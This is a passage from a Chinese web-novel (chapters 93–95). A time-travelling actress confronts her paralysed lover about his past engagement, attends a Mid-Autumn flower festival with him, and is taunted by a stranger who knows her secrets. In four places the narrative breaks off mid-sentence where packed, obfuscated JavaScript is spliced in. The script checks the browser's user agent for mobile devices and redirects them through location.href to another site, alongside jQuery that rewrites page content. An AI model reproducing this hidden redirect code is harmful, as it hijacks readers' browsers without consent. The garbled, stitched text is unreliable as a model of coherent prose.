0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991715|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说完,他望向她的那双坦荡的目光里闪过了一丝坏笑,仿佛是早就料到她会不等他全部讲完就心急着吃醋。 叶之萤正想控诉他对自己的戏弄,但心里还有一堆关于他和那位陈小姐的问题想要得到答案,于是也顾不上发脾气了,急着追问他:“既然没有感情,为什么要同意和她定下婚约?” 他没有回答她的问题,反倒问她:“在你的家乡,成婚难道不是父母之命,媒妁之言?” “当然不是!我们都是自由选择配偶,遇到喜欢的人,就主动去表白,就像……我追求你这样……” 说完这句话,她朝他得意一笑,刚咧开嘴,又自觉现在并不是调情的时候,于是收起嘴角,继续道:“指腹为婚、或者被父母强迫结婚的事不能说完全没有吧,但也是十分罕见的了,毕竟婚姻自由嘛,父母是无权干涉子女的婚姻的。” 说到这里,她又想到一事,激动地跟他科普起来:“况且你们还是表兄妹,在我们那里妥妥的近亲结婚,是被法律明令禁止的,连结婚证都领不了!近亲结婚很可能生出有基因病的孩子,幸亏你们没结婚!” 说到这里,还为他们有惊无险地避免了一场灾难长舒了一口气。 不对呀!明明是她在审问温其玉,怎么说着说着就变成了普法课堂?叶之萤赶紧收住自己的分享欲,眼神示意他继续坦白。 温其玉轻抿双唇,像是在憋笑,被她眼神警告后,便轻咳一声,再望过去,那张脸上已笑意全无。 “首先你须得了解一件事,在这里,一对夫妻成亲前是不必有感情基础的,普通人家娶亲是为了繁衍后代,世家联姻则多是为了巩固家族势力,许多夫妻在成亲之前甚至连面都没见过。或许在你听来我所说的话极为不可思议,但事实就是如此。”他不紧不慢地耐心为她解释。 “当时的我,心中所挂之事只有带兵打仗,驱除夷人,根本无心考虑儿女情长。但婚姻大事乃是父母之命媒妁之言,我既已成人,那成亲便是顺理成章、水到渠成之事。至于与谁成婚,与我而言都一样。婚后,我都会好好待她,与她相敬如宾。” 原来在温其玉心中,婚姻是这样的。 “怎么可能和谁成亲都一样呢?”叶之萤不免感慨。这一刻,叶之萤在温其玉身上第一次感受到了只属于这个时代的一些东西。 以往叶之萤在与一些大她二十多岁的人相处时,都总是能感受到时间在两代人之间所刻下的难以逾越的鸿沟,可是与温其玉这个大她一千多年的古人相处时,却从没有这样的问题。叶之萤一直自信地以为那是因为他们是万里挑一的soulmate,是天生合拍的一对璧人。 现在想来,哪有什么万里挑一,天生合拍?不过是因为温其玉一直都在包容她、迁就她、理解她,从没试图纠正她什么,也从未想要将这里的观念强加给她。印象中,他从来没有否定过她的想法和行为,即使是他理解不了的行为,比如她总是那么主动地“勾引”他,他虽不情愿,却仍然给了她足够的尊重。他完完全全接纳了她。 正是在他的保护下,她才得以始终坦然自在地活着。 这样一份毫无保留的爱,还需要质疑吗? 叶之萤突然为刚才对他的怀疑产生了一丝惭愧。 93. 人生不止一种形状 温其玉还在很认真地对她讲述那段关系,并没有察觉到她内心的波澜。 “只是没想到,我在阿尔钦边境一呆就是七年,一直没机会与薇尔行成婚之礼。后来,边境局势总算稳定,我带兵返京面圣,原本想着借此机会与她完婚,却不想竟在途中染上痹症,自此双腿瘫痪,不良于行。于是我给陈老写了封信,主动告知他我的情况,提出若是陈家想退婚,我可主动取消婚约。就这样,我与薇尔便解除了婚约。” 原来是因为他的腿才退的婚,果然人都是现实的,即使是他这么优秀的人也不例外。 “那你当时难受吗?”叶之萤掩饰不住地心疼起他来。 他笑着摇头:“我与薇尔本就没有感情,况且当时我刚染上痹症,满脑子想的都是如何才能重新走路。只是……一想到令她平白等了我许多年,耽误了她最好的年华,难免会为此感到抱歉。” “薇尔?叫得真亲密呀!温少爷,你可真善良!” 虽然他否认了和陈薇尔的关系,可他一口一个“薇尔”的叫,还为她耽误的青春伤怀,即使知道是情有可原,却仍然听得叶之萤气不打一处来! 温其玉自然听出了她的言外之意,见她不高兴了,也不着急着解释,反倒笑着慢慢道来:“都是过去的事了。薇尔比我小,又与我是表亲,在我心中,她就如同小妹妹一样,大家都唤她‘薇尔’,我自然也如是,你若不喜欢,我日后不叫便是。” “我有什么不喜欢的,你爱怎么叫就怎么叫,跟我有什么关系?”为了掩饰不自在,她又拿起了《诗经》,给不安的双手和双眼找点事干。 温其玉却突然道:“我越来越觉得,或许这一切都是天意。” “天意?”他说得不清不楚,叶之萤没明白话中的含义。 “若不是李渔给我下毒,我便会按计划与薇……陈小姐成亲,之后继续带兵打仗,也不会来到黎城,自然也不会遇到你。” 他的话乍一听是有道理的,但仔细一想,却根本不是那么回事。 “如果没有下毒之事,虽然遇不到我,可你会一直健康地活着啊!说不定和那个陈小姐先婚后爱,也生活得很幸福呢!”她沮丧地看着他,叹气道,“遇到我,付出的代价也太大了!” “时来天地皆同力,运去英雄不自由。或许这本就是我命中躲不掉的劫数。”他收回了飘向远方的目光,看着自己无力的双手,感慨道,“但即便命运可以由我选择,我还是会选遇到你!即使付出这样的代价,也是值得的,没有什么比遇到你更令我觉得庆幸了!” 正在翻书的手瞬间定格在空中,她抬起头问他:“你说的是真的?” “真的!”他坐在她面前,身体依旧有种异常的僵硬,笑容却像夏日的艳阳那般炙热和坚定,仿佛身体所带来的苦楚于他而言一点都不重要。 如今的他,早已不是那个万人敬仰的少年将军,他整日卧病在床,生活简单得不能再简单。 而如今的叶之萤,同样不再是那个万人追捧的大明星,只能靠着为人试衣、销售布料维持着自己的生活。 二人都与从前不同了,但却依然努力地活着。话说回来,人生又何止一种形状?原来换一种形状,也可以活得很好。 “正如你所说,这一切或许真的是命运的安排。我们都失去了一些宝贵的东西,但与此同时,也都得到了另外宝贵的东西。很难讲这是不幸还是幸运。在我们那里,有一位诗人曾说,‘我们来到这世上,就应该跟最好的人、最美的事物、最芬芳的灵魂倾心相见,唯有如此才不负生命一场。’温其玉,感谢你来到我的生命!”叶之萤把书重新合上,握住了温其玉的手,他没有拒绝。 两人相视一笑,将过去的时光和故事彻底封存在过去。 温其玉笑言:“这就叫‘祸兮福所倚,福兮祸所伏’。” 叶之萤却突然间松开了他的手。眼前的人被她若即若离的态度搞蒙了,一脸困惑地看着她。 她警告他:“别以为说几句好听的话这事就糊弄过去了,荷包和画是怎么回事?看你态度诚恳,现在给你个解释的机会!” 他瞬间松了口气,俊朗的脸上重新露出了笑容:“当时,我确实是要与陈小姐成婚的,因此为她画了这幅画,我们退婚后,陈小姐便将此画退了回来,荣祥又将它从江南带到了这里;至于荷包,我已戴了多年,只当是一个普通的荷包,所以那日外出,我与阿力都没有想太多,就照常戴在身上了。后来,心中有了你,我自觉是该和过去的人和物彻底断了关系,不该再戴着她的东西了,可陈小姐退回画时曾说荷包不需再还给她,于是我便嘱咐让阿力把荷包和画都收起来,我真的不知道他把它们放在了书架上。” “既然这样,干脆扔了它们,何必还要收起来,多此一举。”她假装起身,想看他什么反应。 谁知,他急忙制止道:“不要!” “为什么?”她停下了脚步,失望地看着他,“你不舍得?” 虽然她不是真的要扔,但看他这么激动的样子,还是不免醋意飙升。 他看她又要生气,忙解释道:“画中之人乃陈小姐真容,荷包也是她亲手所绣,即使我对她并无情愫,随意丢弃亦是不妥。我会让阿力妥善收好,此生绝不会再拿出来。” 他说得也有道理,虽然情分不再,但他对这位陈小姐的尊重倒是始终如一,并没有为了讨自己欢心就随意献祭别人的真心,这让叶之萤不禁对他又多了一层敬意。 “你说得对,是我草率了!” “你又不是真的要扔,何来草率一说?” 什么都逃不过他的眼睛。 “对了,还有几天就中秋了,你们这里中秋节都怎么过啊?”她好奇地问他。 “在江南,大家会在白天去钱塘江边观潮,再赶黄昏日落之时,回家与家人团圆庆祝中秋,通常会吃蟹和月饼,饮桂花酒,对诗,赏月。黎城的中秋听说与江南非常不同,这里的百姓们爱花。中秋那日,大家都不在家中庆祝,而是全城百姓皆聚在街上。届时,黎城闹市的街道两旁都会以鲜花为装饰,百姓将桂花制成花环,不论男女老少皆头戴花环,手提装满鲜花的花篮,相互投掷鲜花于闹市,互赠美好的祝福。黎城的衙门也会用鲜花特制一枚巨大的月饼,给全城百姓一起分食,寓意每家每户都能过上好生活。不仅如此,每年还会有花神娘娘巡游活动,花神娘娘会坐着车,从城东一直到城西,沿途不断地撒下花瓣,寓意所有被花雨沐浴过的百姓都能万事顺意。” 原来黎城过中秋这么热闹!叶之萤已经有些迫不及待想要见识一下了:“你过过这里的中秋吗?” 他摇头:“只是有所耳闻。” “那今年我们一起去吧!”她一把抓住温其玉的手,激动地央求他。 温其玉突然收起了笑容,垂下眼去,似是有难言之隐。叶之萤当然知道他的担忧是什么,端午那日发生的事,恐怕是他这一生都挥之不去的痛苦回忆了。 但总不能一招怕蛇咬,就十年怕井绳吧? “去吧!”她摇晃他的手哀求他,“这次我们不往人堆里挤,就在人少的地方看看,可以吗?” “我们在家中对诗赏月,不好吗?”他反问她。 “当然不好!我们天天都可以在家,但是这么热闹的活动可不是天天都能看的啊!中秋是个很特别的日子,一年就这么一回,去看看嘛!” 他还是不松口。 “这次让阿力和荣祥一直跟紧我们,坚决不和他们分开,我也绝对不去人多的地方,看到人群就立马躲开,保证安全第一,好不好?好不好嘛?你就答应吧!”她拉着他的手撒起了娇。 “你当真想去?”他的口吻似乎有了松动。 叶之萤一看有戏,立马疯狂点头,眨巴着一双媚眼可怜兮兮又充满期待地望着他。 “既是如此,那便去看看吧,到时我多派几人跟着保护你。” “什么意思?”她觉得这话好像哪里不对劲儿,便问他,“你不去?” “我这身子,不宜去人多的地方,就不去了。” “可你不去我去干嘛?我就是想跟你一起去呀!你也去嘛!温其玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991716|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,中秋是个特殊的日子,就陪我这一次,好不好?以后一定不勉强你!”她继续撒娇。 “叶姑娘,莫要强人所难。”他完全不吃她这套,语气反倒愈加坚定。 叶之萤见他油盐不进,一点也不知道怜香惜玉,瞬间兴致全无,也不想再撒娇了,直接绷起脸,一把甩开他的手,硬生生地道:“谁强人所难了?别动不动就拿身体当挡箭牌,你这身子,能不能去我还不知道吗?” “我……”他似乎有话想说,但她盯着他微张的嘴巴等了一会儿,他似乎又不打算说了。 “不想去就算了!”她失望至极,甩出这句话,就气呼呼地起身离开。 可还没走两步,又想到自己曾答应过他再也不在吵架发脾气的时候轻易跑了,脚步便在犹豫间蓦然停住。 算了,不去就不去吧,他这破身体,本来出门就不方便,也不是什么大事儿!更何况,自己也不喜欢强人所难,他要是心不甘情不愿地跟着自己去,自己还不稀罕呢! 勉强说服自己后,叶之萤又不情不愿地回到床边,重新坐回床上,由于使的劲儿太大,连床都跟着颤了一下。 一时间,二人都无言。她低着头,但却能感觉到侧面有一双眼睛始终盯着她,盯得她浑身不自在。 叶之萤的失落无以言表。 与她而言,中秋不仅是个团圆的日子,也是个特殊的日子,在这一天,她真的很想和心中最重要的那个人一起在黎城的街上走走看看,纵然温其玉不能拉着她的手、和她一起漫步在街头,但她推着他走,也是好的。 不知从什么时候起,温其玉在叶之萤心里已经不仅仅是一位重要的人了,而是她这一世生命中最重要的人! 但他不愿意,任凭自己怎么软磨硬泡都不愿意。她也知道他不是故意惹自己难过,但她依旧难过。 “抱歉。”终于,还是他先开了口。 “不用抱歉,我本来也不该勉强你。”失落的情绪混着沉闷的嗓音一起飘了出来,纠缠在二人之间。 “对不起,我不想你又因和我走在一起而被街上的人另眼相看。”说这话时,他的眼睛又垂了下去,盯着自己的腿,全身僵硬地发着抖。 原来是这样!叶之萤一直以为他是为上次踩踏事件而自责,没从没想过竟是因为路人异样的眼神和难听的话让他不敢再和她上街。 “你怎么这么傻!那些人说的话你何必在意?”叶之萤怒气全消,只剩对他的心疼。 温其玉抬起头,满眼皆是自责:“他们如何议论我都无妨,可你不该被他们诋毁!” 叶之萤笑道:“傻瓜,我行得端坐得正,又岂是他们三言两语诋毁得了的?更何况,那些八卦的人不过就是图个一时的乐子而已,过不了多久,恐怕连他们自己都忘了曾经还说过那些话,我们又何必内耗呢?” “你真的不在意?”眼前的人对她的态度很是惊讶。 “这算什么呀!我以前可是生活在流言蜚语中的人,什么骂没挨过?几乎天天都有人骂我、诋毁我,我听过的难听话可比这要多多了,要是没点承受能力,恐怕早就被那些人的口水淹死了!”她一边讲述着曾经的光荣事迹,一边拍了拍胸脯,“这里早就练成铜墙铁壁、百毒不侵了,放心吧!” 说完,她得意地笑了起来。 他却没有被她的笑容感染,深邃的眸底反而泛起了怜惜。 “有得必有失,做明星是我自己的选择,这就是成名的代价啊!话说回来了,红了才有人黑,我被黑至少说明我确实很红,是不是?”她轻拍了几下他的手安慰他,继续道,“我心态很好的,你不用为我感到难过。” “好。” “那……你去吗?”她还是不死心,又一次试探着问他。 他沉默半饷,终于点了点头。 “一言为定!拉钩!”她一把扯过他的手,迅速把自己的小指和他的钩在了一起,生怕他反悔,又警告他,“不准反悔,谁反悔谁小狗,到时候要给对方学十声狗叫!” 温其玉彻底被她的幼稚打败,无奈地配合着点头。 94. 神秘的杨公子 院中的桂树才几日就挂满了金黄的小花,一时间馥郁满园,秋香沉醉。 转眼就到了中秋之日。 叶之萤照常去沈氏布庄上班,还未到申时,沈老板就提前关门,回家与妻儿过中秋了。叶之萤也因此可以早些回家。 回到温宅后,她蹑手蹑脚进了屋,背着温其玉。 她特意为今日的约会挑选了一只金银珠花树头钗,还学了一个新的发型——灵蛇髻,做完发型后,先将珍珠花钿插入发髻顶端,再辅以头钗和步摇装饰,又在后脑勺戴上由桂花编成的花钿。 化好妆后,就该挑选赴约要穿的衣服了。 布庄的样衣大多是按叶之萤的身材做的,由于她个子高,那些衣服若是不改尺码很难有别的女顾客能穿,于是沈老板便将一些老款的样衣以成本价售卖给她,短短三个月,她已经拥有了一柜子的漂亮衣服。 但是这一柜子衣服都不是叶之萤今日要穿的。 她从柜子最上面一层取出了一个水蓝色的包袱,小心翼翼从里面拿出那套她视为珍宝的衣裳。 一番精心打扮后,她端着铜镜沉醉于自己的美貌中,想象着温其玉看到自己后惊喜的样子。 悄悄来到隔壁,猛地一推门,正想给里面的人一个大大的惊喜,岂料“surprise”才只喊到“p”,一把剑就已经以迅雷不及掩耳之势架在了她的脖子上,把她所有想说的话都吓回了肚里,唯独只发出一声尖叫。 她用余光一瞥,是荣祥。 “你……你……想干嘛?”她早已花容失色,就差屁滚尿流了,看着肩上的剑,一动也不敢动。 “荣祥,快住手!”温其玉看荣祥手中的剑毫厘之间就要刺破叶之萤的皮肤,也惊出一身冷汗。 荣祥见来人是她,赶紧收回了手中的剑。 叶之萤惊魂未定,捂着脖子逃到温其玉床边,完全忘记了自己原本是来跟他炫耀美貌的。 “没伤着吧?”温其玉在她颈边仔细检查了好一阵,才长出一口气,“没事就好!” “我没事,就是本来是想给你个惊喜的,没想到变成惊吓了!”她坐在床边,郁闷地绞着手指。 “叶小姐,都是我的错!我不知道你已经回来了,还以为是刺客,这才……”荣祥满脸歉意,站在她面前连连鞠躬道歉。 自上次椅子事件后,荣祥对她的态度转变了很多,再没针对过她,这次显然也不是故意的。 她伸手扶荣祥起来:“没事,这不怪你,你很称职。还有,你这身手可真敏捷,我都还没反应,你就‘嗖’一下到我面前了,没想到你是个隐藏的高手啊!” 平日里只见荣祥在这屋里忙前忙后伺候人,从没见过他舞刀弄枪,还以为他只是个普通下人,没想到身手居然这么好,让叶之萤吃了一大惊。她毫不吝惜溢美之词,崇拜之情溢于言表,狠狠地夸了他一通。 “叶小姐见笑了,雕虫小技罢了,算不得什么高手!”荣祥被夸得连连摇头,连脸都有些红了。 “雕虫小技?你这雕虫小技差点把我头都给砍下来了!我看是‘凌波微步’还差不多!” “凌波微步?”荣祥显然没有明白这是什么。 “《洛神赋》听过吗?里面有一句话,‘凌波微步,罗袜生尘’,是说甄宓的舞姿优美轻盈。不过,它还是一种很厉害的武功,会这种功夫的人一瞬间就可以移动到很远的地方,速度快到肉眼都捕捉不到他的移动轨迹!就像你刚刚那样,瞬间移动,太厉害了!” “是吗?叶小姐谬赞了!我……”正说着,荣祥脸上的笑容突然僵住了,原本听起来颇为愉快的话音也跟着中断。 叶之萤看到他的目光从她身后的某个地方尴尬地挪到了地面,而后,又换上了平日里那副一本正经的语气:“方才让叶小姐受惊了,是我太过草率,以后我会注意。”又请示她身后的人,“少爷,我这就去跟阿力准备一会儿外出需要的东西。” 说话时,他一直低着头,很快说完后,就头也不回地出门去了。 等荣祥离开,她再回头去看床上的人,那人正盯着门口的方向,一脸阴沉。 “你刚刚吓他了?”她问。 温其玉没有回答,目光越过她,落在侧面的墙上,明显还在生气。 “小气鬼!”她轻拍他的胸口,调皮地开他的玩笑。 “他的功夫是我教的!”温其玉突然冒出了这么一句话,叶之萤抬头一看,才发现那两道剑眉正可怜兮兮地皱在一起,撇着嘴巴,像是受了天大的委屈。 这样的表情竟然会出现在温其玉脸上??? 只可惜没有手机,若是有的话,她定要将他此刻的表情拍下来永久收藏! 而现在,她摸了摸他的头,笑着表扬他:“你怎么这么真厉害呀!是我见过最厉害的人了!” 他看起来还在闹别扭,只是脸上的不悦已缓和了不少。 叶之萤用指头戳了戳他的胳膊:“喂,我今天的造型可是精心打扮过的,特意学了新发型,戴了新发饰,还穿了你送的新衣服,刚刚在房间折腾了一个多时辰才弄好,就是为了给我心中最崇拜的那个人看,你确定不看一眼吗?” 她话音刚落,对面的人就抬起了头。他的双眼从青丝到脖颈、再到身上的衣服,来来回回地打量她,目光霸道而灼热,烧得她脸颊越来越烫。 “够了……够了!别看了。”她吞吐着叫他打住。 他听话地收回了目光,嘴角微扬,对能让一张大胆的叶之萤害羞而得意洋洋。 好你个温其玉,也学会调戏人了! “咳,怎么样?我今天好看吗?”她强装淡定,笑着问他。 “好看!”刚才眼中那灼热的渴望已经在不知不觉间被他收起,取而代之的又是淡淡的克制。 傍晚,二人吃过晚饭,便一起出门了。 除了阿力和荣祥之外,与他们一同外出的还有另外四个叶之萤没见过的人,听阿力说,他们都是温宅的护卫,也是一等一的高手。 “我们只是出门逛逛,需要这么多人跟着吗?”她将一花篮的鲜花护在怀里,小心地侧身避开迎面而来的人流。 温其玉仅用四字回她:“以防万一。” 他今天穿了一件茶白色的长袍,比以往的衣服都要素雅不少,可以说是叶之萤见过的他的衣服中最普通的一件了。没有金银线,没有刺绣,连布料的光泽和质感都与往日的那些锦衣华服相去甚远。如果说之前那些衣服至少是福裕绸庄的高级定制款,那今天这身衣服顶多是沈氏布庄最普通的款式。 他可是连在家为关若飞设宴都要身着华服的人,连睡衣都流光溢彩,竟然会穿这种衣服出门?叶之萤有些想不明白,实在不像他的风格。 好在饰品的搭配依然在线,头上的白玉簪、腰间的玉佩和玉带钩,与衣服颜色相呼应,俨然一位温润如玉的谦谦君子。 他腰间那个大大的荷包格外吸睛,与衣服同色,装得鼓鼓囊囊的。 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991717|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之萤不禁打趣道:“你也带太多……” 话刚说了一半,就意识到他这么做的原因。 他是怕再发生上次的情况吧?所以才派这么多人跟着,所以才要亲自装上足够的银两才放心。 还有他的衣服,应该也是特意换的吧?就是为了让路人不再误会她是为钱出卖身体之人,虽然今日路上的人比肩接踵,根本没有人会留意他们。 对叶之萤来说,只是出来逛逛而已,他却提前做了这么多准备。 一大把鲜花突然正正砸在她鼻子上,一股桂花的浓香扑鼻而来。叶之萤这才发现,街上的人已经开始投掷鲜花互送祝福了。 她也从篮中抓起一把鲜花,砸到温其玉的身上,顿时,那件茶白色的衣服上就同时开出了红色的玫瑰、黄色的丹桂。 仿佛就在一瞬间,所有人的兴致都被点燃,整个街道的气氛都到达了顶点,叶之萤兴奋的加入其中,和周围的陌生人打成了一片。 温其玉安静地坐在路边,漫天承载着祝福的花瓣正围着他飞舞,正如玉净瓶中能使荒漠生出林荫的甘露,洒在他乌黑的发丝、削瘦的面庞、无力的手指,以及孱弱的双腿上。 他一定会很快好起来,一定会的! 突然,一个人影挡在了她和温其玉中间,仔细一看,是杨宗明。 真是阴魂不散! 叶之萤假装没看到他,低头往温其玉身边靠。谁知,刚和他擦肩而过,就被他一把拽住了胳膊。 如果叶之萤没看错的话,那双看着自己的眼中正透着浓浓的恨意。 “你干什么?松手!”她朝他喝道。 温其玉的手下们见状迅速将她从杨宗明手中救了下来,杨宗明的双臂也被他们死死按在身后。 “杨公子,这是何意?”温其玉稳坐在轮椅中,目露寒光,连空中原本柔软的花瓣都被因浸染了丝丝寒气而变得锋利。 “哟,这位公子是?”杨宗明的目光先是落在了那张脸上,很快又落在了他身下那架显眼的轮椅上,然后不屑地从鼻子里发出“哼”的一声。 温其玉丝毫不介意他的态度:“在下姓温,久仰杨公子大名,一直以为杨公子是位谦谦君子,今日却当街随意拉扯女子,岂不失礼?” “温公子教训的是。的确是我失礼了。”他被按住胳膊,竟一点也不挣扎,“不过温公子误会在下了。我有一好友,恰好今日生辰,我在街上寻了许久,也不知该买什么礼物送她,没想到正好碰上叶小姐。既然同为女子,我心想没准叶小姐能给我一些好的建议,一激动就忘了形,还请叶小姐原谅在下的鲁莽。” 放屁!叶之萤忍着没有骂出声,狠狠地瞪了他一眼。 只是,他说他的好友今日生辰,是在暗示她什么吗? “叶小姐?”见她不回答,杨宗明又叫了她一声。 “放了他吧。”叶之萤低头对温其玉说。 温其玉随即点了下头,那几名护卫便将杨宗明松开,却仍然站在他身侧一米内以防万一。 “叶小姐大人大量,杨某不胜感激。只是,能否给杨某一个建议?” “什么?”她问。 “若叶小姐恰好也是今日生辰,想收到什么礼物?”他又问了她一遍,语气中透出一种戏谑和挑衅,好像分明知道今天就是她的生日。 可他又怎么会知道? 连温其玉都不知道! 整个邺国根本没有一人知道此事! 他到底是谁? 95. 童话故事 叶之萤紧盯着那双眼睛,想看清它背后到底藏着怎样的灵魂,可那灵魂却故意躲在暗处,与她捉起了迷藏。 有一群孩子突然冲着他们扔来大把大把的鲜花,边扔边开心地唱着:“花神娘娘,天降吉祥!万事顺意,福寿安康!” 花瓣从眼前纷纷坠落,叶之萤也缓过了神,笑道:“今日都快结束了,现在才想起来准备礼物,说明她对杨公子而言也并不是什么重要之人,要我说干脆省点钱,什么都别送了。” “叶小姐说得是,确实不是什么重要之人,不过见叶小姐衣着华丽,我突然有了个想法,或许我也可以为她准备一套福裕绸庄的衣裳。不过嘛……”他故意拉长声音,惺惺作态。 叶之萤已经懒得听他讲废话了,走到温其玉面前蹲下来,小心帮他整理被风吹得有些乱的衣襟,再为他去摘掉落在睫毛上的那朵金色的桂花。 “我那友人虽说与你美貌程度不相上下,内心却实在阴暗丑陋。”说话间,他又瞥了一眼轮椅上的温其玉,语气极为轻蔑,“她可看不上这些个不会走路的残废,不仅看不上,还说……” 叶之萤整个人就像被这句话按下了暂停键,右手当即定在了温其玉浓密的睫毛上,笑容也凝固在脸上。她在心里暗暗哀求杨宗明不要再继续说下去,却在不知不觉中早已将恐惧写在了脸上,被轮椅上的人尽收眼底。 “说这些人都心理扭曲,自己摔进泥潭里爬不出来,就处心积虑要把身边的人都毁掉,这样的人就不该活着,都该去死!” 叶之萤惊慌的神情无疑是一把助燃剂,令杨宗明更加兴奋了。而这几句话于叶之萤而言,却如同一声巨雷,炸得她脑仁疼。她心虚地缩回了停在温其玉眼尾的那只手,低下头不敢再看他。 那杨宗明还在一旁绘声绘色地讲:“温公子,你说她是不是可恶至极?远没有你身旁这位叶小姐十分之一良善。这样歹毒的人啊,实在是配不上这华服。若让她穿上这衣裳,就如同巫婆拥有了小美人鱼动听的歌喉,不过是丑人多作怪,玷污了这华服原本的美好。巫婆就只配在肮脏的角落里丑陋而孤独地活着。” 边说着,还不忘上下打量着叶之萤身上的衣服,眼神充满了鄙夷。 巫婆,小美人鱼,拆开来看,每个词都与这里格格不入,组合在一起,更是一个在这里无人知晓的童话故事。 他到底是谁? 他是谁都不重要了!叶之萤现在满脑子都是他刚刚说的那几句话。她蹲在那里,甚至不敢抬头去看温其玉的脸,不敢去看温其玉脸上此刻是什么表情。也没了再去质问杨宗明的底气。 但很快,她就再度回过神来。不对啊!明明自己才是被欺负、被冤枉的那个,怎么反过来倒像矮了人半头似的这么卑微,凭什么? “你到底是谁?”她站起身,双臂抱在胸前,斜着眼睛问他。 “我是谁不重要,重要的是……”正说着,杨宗明的手伸进了衣袖里,似乎是想取什么东西。 阿力见状,急忙抓住他的手,不准他再动。 他道:“别怕,我只是想送个礼物给叶小姐。” 于是在阿力的监视之下,他从衣服中取出了一个方形的牛皮纸包。 “这是我们杨家的‘玉莲香’,一点小心意,祝你生日快乐!” 此话一出,大家通通吃惊地望向她,包括温其玉。 “杨公子,你恐怕是认错人了,今天不是我生日,而且我和你只见过三面而已,没有理由收你的礼物,你还是收回去吧!”她矢口否认。 “只是一份小礼物而已,收下吧,夜莺!” 众人又是一惊!他竟然如此称呼她。叶之萤后背一阵发凉。 街上人头攒动,人流量比起节假日的故宫有过之而无不及,叶之萤不知被谁撞了一个趔趄,幸亏一把扶住了轮椅扶手,才没有摔倒。 “杨公子,”温其玉终于开口了,他抬起双眼,漫不经心地看着面前的人道,“恐怕你是真的认错了人,我们还有事,就不奉陪了!今日你的无理之举,我且当你是一时冲动,不再与你追究,倘若日后有缘再见,还请杨公子能秉持君子之礼,以免招惹不必要的祸端。” 温其玉还愿意帮她说话,叶之萤焦躁的心又安定了一些。 那杨宗明目光一沉,定了两三秒,突然开口问道:“温公子,我实在是很好奇,你到底花了多少银两,才买到她的人?不过我劝你,对于这种女人,别用情太深,玩玩就算了!” 温其玉脸色骤变,而叶之萤更是一把捏住了杨宗明的脖子。 “你说什么?”她使出了全身的力气,杨宗明被捏得无法呼吸。 四名侍卫再度控制住杨宗明。 杨宗明看着叶之萤,依旧一脸鄙夷:“怎么?不想让你如今的金主知道你是什么人?你装什么纯情啊叶之萤!不过是个唯利是图的拜金女,被粉丝吹捧几声,就真当自己是真命天女、神仙下凡了?你曾经嚣张地口出狂言让别人残疾了就快点去死的时候,恐怕没想到有一天你自己也会为了活下去不得不跟心里看不起的人低头吧?真是报应!不过也是奇了怪了,怎么什么人一靠近你,就都残疾了呢?到底是因为你是扫把星,还是……莫非这位温公子的腿,也是拜你所赐?反正你也不是第一回干这样的事了……” “你给我闭嘴!”叶之萤被刺激得失去了理智,一巴掌扇在那杨宗明的脸上,他的左脸顿时红成一片。 杨宗明同样疯了似的看着她笑,眼神中分明有仇恨的火焰在熊熊燃烧。 两个疯了的人,就这样面对面站在流动的人群里,恶狠狠地盯着对方的眼睛,好像弓已上弦,随时都要开战一般。 千万不能上他的当! 叶之萤深吸了几口气,让自己先冷静下来:“我不知道我跟你有什么仇,但是不管什么仇,你冲我一个人来就行,别招惹我身边其他人!” “怎么?怕被人知道你干过的龌龊事?叶之萤,若要人不知,除非己莫为!” “我问心无愧,有什么好怕的?” “问心无愧?呸,真不要脸!”他朝她啐了一口。 叶之萤的耐心在此时已经到达了极限,反正该不该说都已经说到这个程度了,索性别遮着藏着了,于是朝他大喊:“那你说啊!你想说什么现在就通通说出来!” 谁知,他却又不愿意讲了:“现在还不是时候,该说的时候我自然会说。放心,你那些事,瞒不住的!” “不想说就给我滚!有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991718|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多远滚多远!”她快被他气炸了,抄起手里的花篮照着他的头砸了过去。 大朵大朵的花从竹篮里洒了出来,那本是温其玉为她精心准备的用来祈福的花,如今却全都洒在那个令人作呕的杨宗明脸上和身上,红一片、绿一片的在他手工精良的长衫上绽开,真是刺眼! 杨宗明果然得意洋洋地走了。而叶之萤却还站在原地看着那些被他踩在脚底的花发呆。 过了一阵,她慢慢走到竹篮旁,又将地上还没被踩坏的花一朵一朵地捡起,用手拍干净上面的灰尘和泥土,再轻轻地放回篮子里。 “走吧!”她提着篮子,有气无力地对温其玉说。刚想去推轮椅,就被荣祥一把抢了过去。 荣祥看着她的眼神充满了警惕,显然是信了杨宗明的话。 